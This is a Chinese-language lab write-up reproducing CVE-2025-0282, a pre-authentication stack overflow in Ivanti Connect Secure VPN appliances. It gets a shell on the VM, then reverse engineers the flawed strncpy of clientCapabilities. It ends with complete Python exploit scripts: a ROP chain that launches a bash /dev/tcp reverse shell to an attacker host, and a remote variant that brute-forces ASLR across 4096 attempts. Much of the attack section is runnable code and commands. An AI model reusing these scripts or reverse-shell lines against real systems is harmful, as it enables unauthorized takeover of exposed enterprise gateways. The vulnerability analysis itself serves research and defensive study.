实验对象:Ivanti Connect Secure 22.7R2.3
[[CVE]]
虚拟机下载
环境配置
使用vm打开后,配置如下内容



对进行配置的ip访问,成功启动
后续我们需要将虚拟机中的文件下载下来

首先在这个页面进行等待,直到出现红框中的超时信息,保存快照,挂起虚拟机

在虚拟机文件夹中找到对应文件,使用010打开


将文件中所有的/home/bin/dsconfig.pl 字符串为 ///////////////bin/sh
/home/bin/dsconfig.pl是控制台界面执行时需要调用的脚本文件,替换后等待控制台界面超时后按“回车”,即可获取底层shell

成功拿到shell
1 2
| nc -lvp 4444 bash -i >& /dev/tcp/192.168.13.146/4444 0 >&1
|
为了后续方便操作,我们先反弹shell出来再进行操作


没有python3 ,只有python2,使用python2的
1 2 3
| iptables -L -n iptables -A INPUT -p tcp --dport 8080 -j ACCEPT python -m SimpleHTTPServer 8080
|

需要下载的文件在 /home/bin 下的 web 和lib中的 libdsplibs.so
我们还需要传入 gdbserver 来进行后续的调试
在虚拟机中使用cat写传输脚本(因为在Ivanti Connect Secure模拟中没有vim和vi,只能通过cat写入)
在tmp文件夹中写入
1 2 3 4 5
| cat > read.py << 'EOF'
import urllib urllib.urlretrieve("http://192.168.13.146:1234/filename", "filename") EOF
|
ubuntu 发送
1 2 3 4 5 6 7
| import http.server import socketserver PORT = 1234 Handler = http.server.SimpleHTTPRequestHandler httpd = socketserver.TCPServer(("0.0.0.0", PORT), Handler) print("Serving at port", PORT) httpd.serve_forever()
|
将 gdbserver 和 busybox 传入
[gdbserver](hugsy/gdb-static: Public repository of statically compiled GDB and GDBServer)
漏洞复现
漏洞在web文件中的 `sub_E3540`

创建一个 DSUtilMemPool 类,将v56作为传递参数
创建一个 EPMessage 类,将v54、v56作为传递参数
将键名为
clientIp 从a1+108 偏移处读取
clientHostName 从a1+124 偏移处读取
clientCapabilities 从a1+140 偏移处读取
其中 sub_11D6B8 函数
1 2 3 4 5 6 7 8 9 10 11
| int __cdecl sub_11D6B8(int a1, char *a2, DSUtilMemPool *a3) { void *v3; const char *v5;
*(_DWORD *)(a1 + 36) = 0; if ( !a3 ) return DSHash::remove((DSHash *)(a1 + 4), a2); v3 = (void *)DSStr::newFromPool(*(DSStr **)a1, a3, v5); return DSHash::insertUniq((DSHash *)(a1 + 4), a2, v3); }
|
检测是否为空,如果不为空则从 a1 + 偏移处读取一个字符串指针,再以 “clientIp” 为键,存入 v54
在最后 clientCapabilities 中可以进行溢出
后续我们溢出到 sub_E4AD0 函数中,也是我们的漏洞触发函数

这是一个消息分发函数,负责处理来自IFT-TLS协议的各种消息类型。它根据消息的vendorId和type字段来决定如何处理不同的消息
needle 获取vendorId
TypeEv 获取消息类型
LenEv 获取消息长度
IdEv 获取消息ID

1
| s_1 = (const char *)sub_11D70E((int)v56, (char *)&IFT_JNPR_KEY_PREAUTH_INIT_CLIENT_CAPABILITIES);
|
我们来分析这个漏洞点代码
sub_11D70E
v56是 EPMessage 对象,强制转换为int类型
IFT_JNPR_KEY_PREAUTH_INIT_CLIENT_CAPABILITIES 是一个字符串字面量,代表一个键或属性名(clientCapabilities\客户端能力) 用于在 EPMessage 中查找对应的值
返回值: 指向字符串的指针,如果字段不存在则返回NULL
再将 src_4 = s_1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| if ( s_1 ) { n_4 = strlen(s_1); if ( n_4 >= 0 ) { if ( n_4 >= *(_DWORD *)(a1 + 148) ) DSStr::reserve((DSStr *)(a1 + 140), n_4 + 1); memmove(*(void **)(a1 + 140), src_4, n_4); *(_DWORD *)(a1 + 144) = n_4; *(_BYTE *)(*(_DWORD *)(a1 + 140) + n_4) = 0; } } else if ( *(int *)(a1 + 148) > 0 ) { n_5 = 1; **(_BYTE **)(a1 + 140) = 0; *(_DWORD *)(a1 + 144) = 0; goto LABEL_55; }
|
memmove(*(void **)(a1 + 140), src_4, n_4);
a1 + 140 : 获取 clientCapabilities 字符串的实际存储地址
src_4: 源字符串指针-EPMessage
n_4: 复制的长度

n_5 = *(_DWORD *)(a1 + 144) + 1; a1 + 144为clientCapabilities长度也就是之前的n_4,然后再进行+1
strncpy(dest, *(const char **)(a1 + 140), n_5); 漏洞点
dest是栈上的char数组,大小256字节
a1 + 140是 clientCapabilities 字符串内容为DSStr的data指针,指向堆上的字符串
n_5 是clientCapabilities长度 + 1
且没有检测a1 + 140指向的内容长度是否大于256,而且clientCapabilities\客户端能力是我们可以控制输入的,存在溢出

后续在执行a1中的内容

汇编对应的内容 call dword ptr [eax+48h]

a1的栈地址是在ret后的

我们可以溢出的点是在-0x8ec上,在ida中计算的距离为2288

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| mov edx, [esp+0A0Ch+var_9E0] 将栈上偏移量为[esp+0A0Ch+var_9E0]的内存地址处存储的值加载到edx寄存器中
mov eax, [esp+0A0Ch+arg_0] 获取a1指针
mov eax, [eax] 通过a1获取vtable地址
mov [esp+0A0Ch+src], edx 将edx寄存器中的值保存到栈上src的位置
mov edx, [esp+0A0Ch+arg_0] 再次将栈上第一个参数的值加载到edx寄存器中
mov [esp+0A0Ch+n], 2Eh 将数值0x2E(即字符'.')保存到栈上n的位置
mov [esp+0A0Ch+var_A0C], edx 将edx寄存器中的值(之前从arg_0加载的)保存到栈上var_A0C的位置
call dword ptr [eax+48h] 虚函数调用 - vtable[0x48/4] = vtable[18]
|

对应大致流程
其中我们可以通过 call dword ptr [eax+48h] 进行跳转到gadget 抬栈和给ebx赋值
在调用 system() 的代码
call system@plt system@plt 的实现:
system@plt:
jmp [ebx + system@got_offset] ; 通过EBX+偏移找到GOT表项
push system_index
EBX必须指向正确的GOT基址,否则 jmp [ebx + offset] 会跳转到错误地址
所以我们要对ebx进行赋值基址
且漏洞利用使用 strncpy,遇到 \x00会截断,我们可以通过 GOT.PLT - 1 后再使用 inc ebx 对其 ebx+1 即可绕过\x00截断
gadget使用 libdsplibs.so 中的 0x9384A1,但是程序开启了pie保护,且并没有泄露出地址信息,所以要爆破 1/4096。

指向伪造的虚表,我们使用libc中的


在我们指向伪造的虚表地址+48就是我们构造rop链的地方

ROP链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| buffer += b'C' * 2288
buffer += pack('<I', libdsplibs_base + 0x934367)
buffer += b'A' * 2934
buffer += pack('<I', libdsplibs_base + 0x157c000 - 1)
buffer += pack('<I', 0xCAFEBEEF) * 3
buffer += pack('<I', libdsplibs_base + 0x1338373)
buffer += pack('<I', libdsplibs_base + 0xca2e84)
buffer += pack('<I', libdsplibs_base + 0x7a040c)
buffer += pack('<I', 0xCAFEBEEF) * 3
buffer += pack('<I', libdsplibs_base + 0x7a040c) * 4
buffer += pack('<I', libdsplibs_base + 0x4f0df3)
buffer += pack('<I', 0xCAFEBEEF)
|
我们使用之前传入的 gdbserver 来对程序进行调试
虚拟机
1 2
| chmod +x gdbserver ./gdbserver 0.0.0.0:8010 --attach $(netstat -anptl | grep 443 | awk '{print $7}' | cut -d'/' -f1 | grep -v "-")
|
宿主机
1 2
| gdb target remote 192.168.13.200:8010
|

编写脚本来测试 strncpy 漏洞点 adc1.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122
| """ CVE-2025-0282 调试脚本 用于触发断点 0xe5194 (strncpy 调用处) """
import sys import socket import ssl import struct from time import sleep
TARGET_IP = "192.168.13.200" TARGET_PORT = 443
def log(txt): print(txt)
def trigger_strncpy_breakpoint(): """ 发送精心构造的数据包,触发 sub_E4AD0 函数中的 strncpy 调用 断点位置: 0xe5194 """ log(f"[+] Connecting to {TARGET_IP}:{TARGET_PORT}") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE ssock = ctx.wrap_socket(sock, server_hostname=TARGET_IP) ssock.connect((TARGET_IP, TARGET_PORT)) log("[+] SSL connection established")
http_req = ( f"GET / HTTP/1.1\r\n" f"Host: {TARGET_IP}:{TARGET_PORT}\r\n" "User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12\r\n" "Content-Type: EAP\r\n" "Upgrade: IF-T/TLS 1.0\r\n" "Content-Length: 0\r\n" "\r\n" ) ssock.send(http_req.encode()) log("[*] Sent HTTP Upgrade request") response = ssock.recv(4096) if b'101 Switching Protocols' not in response: log(f"[-] Failed to switch protocols: {response[:100]}") return False log("[+] Protocol switched to IF-T/TLS")
version_data = struct.pack('4B', 0, 1, 2, 2) version_pkt = ( struct.pack('>4I', 0x00005597, 0x00000001, len(version_data) + 16, 0 ) + version_data ) ssock.send(version_pkt) log("[*] Sent IFT_VERSION_REQUEST") sleep(0.5) client_capabilities = "supportSHA2Signature=true,SupportsLastLoginDetails=true" exploit_data = ( f"clientHostName=debugtest " f"clientIp=127.0.0.1 " f"clientCapabilities={client_capabilities}\n\x00" ) exploit_pkt = ( struct.pack('>4I', 0x00000a4c, 0x00000088, len(exploit_data) + 16, 1 ) + exploit_data.encode() ) log("[*] Sending IFT_PREAUTH_INIT packet...") log(f"[*] clientCapabilities length: {len(client_capabilities)}") log("[!] This should trigger breakpoint at 0xe5194 (strncpy)") ssock.send(exploit_pkt) log("[+] Packet sent! Check GDB for breakpoint hit.") sleep(5) ssock.close() return True except Exception as e: log(f"[-] Error: {str(e)}") return False
if __name__ == "__main__": if len(sys.argv) > 1: TARGET_IP = sys.argv[1] if len(sys.argv) > 2: TARGET_PORT = int(sys.argv[2]) print("=" * 60) print("CVE-2025-0282 Debug Script") print(f"Target: {TARGET_IP}:{TARGET_PORT}") print("Breakpoint: 0xe5194 (strncpy in sub_E4AD0)") print("=" * 60) trigger_strncpy_breakpoint()
|
gdb调用脚本 gdb_1.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
|
target remote 192.168.13.200:8010
set architecture i386
b *$rebase(0xe5194)
commands 1 echo \n[*] Hit strncpy breakpoint at $rebase(0xe5194)!\n echo [*] Registers:\n info registers eax ebx ecx edx esi edi ebp esp eip echo \n[*] Stack (strncpy args):\n x/4wx $esp echo \n[*] dest buffer:\n x/s *(int*)($esp+4) echo \n[*] src (clientCapabilities):\n x/s *(int*)($esp+8) echo \n[*] length n:\n x/d $esp+12 end
continue
|
运行
1 2 3 4
| gdb-multiarch -x gdb_1.txt
python3 adc1.py 192.168.13.200 443
|

src处就是我们输入的数据,可控
RCE
我们先打本地,先在模拟的主机端关闭pie保护
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| echo 0 > /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space
ps aux | grep web
killall web
target remote 192.168.13.200:8010
info proc mappings
|
本地RCE
1 2 3 4 5
| nc -lvp 9999
python3 CVE-2025-0282.py 192.168.13.200 443 192.168.13.146 9999
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129
| """ CVE-2025-0282 Exploit - 基于ad1.py,ASLR已关闭版本 libdsplibs.so base: 0xf6525000 """ import sys import socket import ssl import struct from time import sleep
def log(txt): print(txt)
def exploit(target_ip, target_port, lhost, lport): log(f"[+] Targeting {target_ip}:{target_port}")
target = { 'padding_to_vftable': 2288, 'vftable_gadget_offset': 0x00934365 + 2, 'padding_to_next_frame': 2934, 'offset_to_got_plt': 0x00157c000, 'gadget_inc_ebx_ret': 0x01338373, 'gadget_mov_eax_esp_retn_c': 0x00ca2e84, 'gadget_add_eax_8_ret': 0x007a040c, 'gadget_mov_esp_eax_call_system': 0x004f0df3, }
libdsplibs_base = 0xf6525000
log(f"[*] libdsplibs_base: 0x{libdsplibs_base:08x}")
cmd = f"bash -c 'exec bash -i &>/dev/tcp/{lhost}/{lport} <&1';#" cmd = cmd.replace(' ', '${IFS}') log(f"[*] Command: {cmd}")
buffer = b'C' * target['padding_to_vftable'] buffer += struct.pack('<I', libdsplibs_base + target['vftable_gadget_offset']) buffer += b'A' * target['padding_to_next_frame'] buffer += struct.pack('<I', libdsplibs_base + target['offset_to_got_plt'] - 1) buffer += struct.pack('<I', 0xCAFEBEEF) buffer += struct.pack('<I', 0xCAFEBEEF) buffer += struct.pack('<I', 0xCAFEBEEF) buffer += struct.pack('<I', libdsplibs_base + target['gadget_inc_ebx_ret']) buffer += struct.pack('<I', libdsplibs_base + target['gadget_mov_eax_esp_retn_c']) buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret']) buffer += struct.pack('<I', 0xCAFEBEEF) buffer += struct.pack('<I', 0xCAFEBEEF) buffer += struct.pack('<I', 0xCAFEBEEF) buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret']) buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret']) buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret']) buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret']) buffer += struct.pack('<I', libdsplibs_base + target['gadget_mov_esp_eax_call_system']) buffer += struct.pack('<I', 0xCAFEBEEF) buffer += cmd.encode()
if b'\x00' in buffer: log("[-] Buffer contains null byte!") return
try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(15)
ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE s = ctx.wrap_socket(sock, server_hostname=target_ip) s.connect((target_ip, target_port))
body = f"GET / HTTP/1.1\r\n" body += f"Host: {target_ip}:{target_port}\r\n" body += "User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty\r\n" body += "Content-Type: EAP\r\n" body += "Upgrade: IF-T/TLS 1.0\r\n" body += "Content-Length: 0\r\n" body += "\r\n"
s.send(body.encode()) res = s.recv(4096)
if b'101 Switching Protocols' not in res: log("[-] Failed to switch protocols") return
log("[+] Protocol switched")
data = struct.pack('4B', 0, 1, 2, 2) pkt = struct.pack('>IIII', 0x00005597, 0x00000001, len(data) + 16, 0) + data s.send(pkt)
log("[*] Sent version request")
data = b"clientHostName=abcdefgh clientIp=127.0.0.1 clientCapabilities=" + buffer + b"\n\x00" pkt = struct.pack('>IIII', 0x00000a4c, 0x00000088, len(data) + 16, 1) + data
log(f"[*] Triggering exploit...") s.send(pkt)
log("[+] Exploit sent! Check your listener.")
except Exception as e: log(f"[-] Error: {e}")
if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_ip> <target_port> <lhost> <lport>") print(f"Example: {sys.argv[0]} 192.168.13.200 443 192.168.13.146 9999") sys.exit(1)
target_ip = sys.argv[1] target_port = int(sys.argv[2]) lhost = sys.argv[3] lport = int(sys.argv[4])
exploit(target_ip, target_port, lhost, lport)
|

成功
远程RCE
因为程序开启了pie保护,且是32位,我们可以进行爆破,成功概率大概为 1/4096。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130
| """ CVE-2025-0282 Direct Exploit - 跳过版本检测直接发送payload """ import sys import socket import ssl import struct from time import sleep
def log(txt): print(txt)
def exploit(target_ip, target_port, lhost, lport): log(f"[+] Target: {target_ip}:{target_port}") log(f"[+] Reverse shell: {lhost}:{lport}")
target = { 'padding_to_vftable': 2288, 'vftable_gadget_offset': 0x00934365 + 2, 'padding_to_next_frame': 2934, 'offset_to_got_plt': 0x00157c000, 'gadget_inc_ebx_ret': 0x01338373, 'gadget_mov_eax_esp_retn_c': 0x00ca2e84, 'gadget_add_eax_8_ret': 0x007a040c, 'gadget_mov_esp_eax_call_system': 0x004f0df3, 'libdsplibs_base': 0xf6492000, }
cmd = f"bash -c 'exec bash -i &>/dev/tcp/{lhost}/{lport} <&1';#" cmd = cmd.replace(' ', '${IFS}') log(f"[*] Command: {cmd}")
attempt = 0 max_attempts = 4096 log(f"[*] Starting ASLR bruteforce ({max_attempts} attempts)") log(f"[*] This may take ~{max_attempts * 0.8 / 60:.1f} minutes...") for _ in range(max_attempts): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(15) ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE ssock = ctx.wrap_socket(sock, server_hostname=target_ip) ssock.connect((target_ip, target_port))
http_req = ( f"GET / HTTP/1.1\r\n" f"Host: {target_ip}:{target_port}\r\n" "User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12\r\n" "Content-Type: EAP\r\n" "Upgrade: IF-T/TLS 1.0\r\n" "Content-Length: 0\r\n" "\r\n" ) ssock.send(http_req.encode()) response = ssock.recv(4096) if b'101 Switching Protocols' not in response: continue
version_data = struct.pack('4B', 0, 1, 2, 2) version_pkt = struct.pack('>4I', 0x00005597, 0x00000001, len(version_data) + 16, 0) + version_data ssock.send(version_pkt) sleep(0.5)
buffer = b'C' * target['padding_to_vftable'] buffer += struct.pack('<I', target['libdsplibs_base'] + target['vftable_gadget_offset']) buffer += b'A' * target['padding_to_next_frame'] buffer += struct.pack('<I', target['libdsplibs_base'] + target['offset_to_got_plt'] - 1) buffer += struct.pack('<4I', 0xCAFEBEEF, 0xCAFEBEEF, 0xCAFEBEEF, 0xCAFEBEEF) buffer += struct.pack('<I', target['libdsplibs_base'] + target['gadget_inc_ebx_ret']) buffer += struct.pack('<I', target['libdsplibs_base'] + target['gadget_mov_eax_esp_retn_c']) buffer += struct.pack('<I', target['libdsplibs_base'] + target['gadget_add_eax_8_ret']) buffer += struct.pack('<3I', 0xCAFEBEEF, 0xCAFEBEEF, 0xCAFEBEEF) buffer += struct.pack('<4I', target['libdsplibs_base'] + target['gadget_add_eax_8_ret'], target['libdsplibs_base'] + target['gadget_add_eax_8_ret'], target['libdsplibs_base'] + target['gadget_add_eax_8_ret'], target['libdsplibs_base'] + target['gadget_add_eax_8_ret'] ) buffer += struct.pack('<I', target['libdsplibs_base'] + target['gadget_mov_esp_eax_call_system']) buffer += struct.pack('<I', 0xCAFEBEEF) buffer += cmd.encode() + b'\x00'
attempt += 1 print(f"\r[*] Attempt #{attempt}/{max_attempts} | Base: 0x{target['libdsplibs_base']:08x}", end='', flush=True)
exploit_data = b"clientHostName=abcdefgh clientIp=127.0.0.1 clientCapabilities=" + buffer + b"\n\x00" exploit_pkt = struct.pack('>4I', 0x00000a4c, 0x00000088, len(exploit_data) + 16, 1) + exploit_data ssock.send(exploit_pkt) sleep(0.2) ssock.close() except Exception as e: sleep(0.3) continue
print() log(f"[*] Completed {attempt} attempts")
if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_ip> <target_port> <lhost> <lport>") print(f"Example: {sys.argv[0]} 192.168.13.200 443 192.168.13.146 9999") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) lhost = sys.argv[3] lport = int(sys.argv[4]) log("[!] Start listener first: nc -lvp " + str(lport)) log("[!] Press Enter to start exploit...") input() exploit(target_ip, target_port, lhost, lport)
|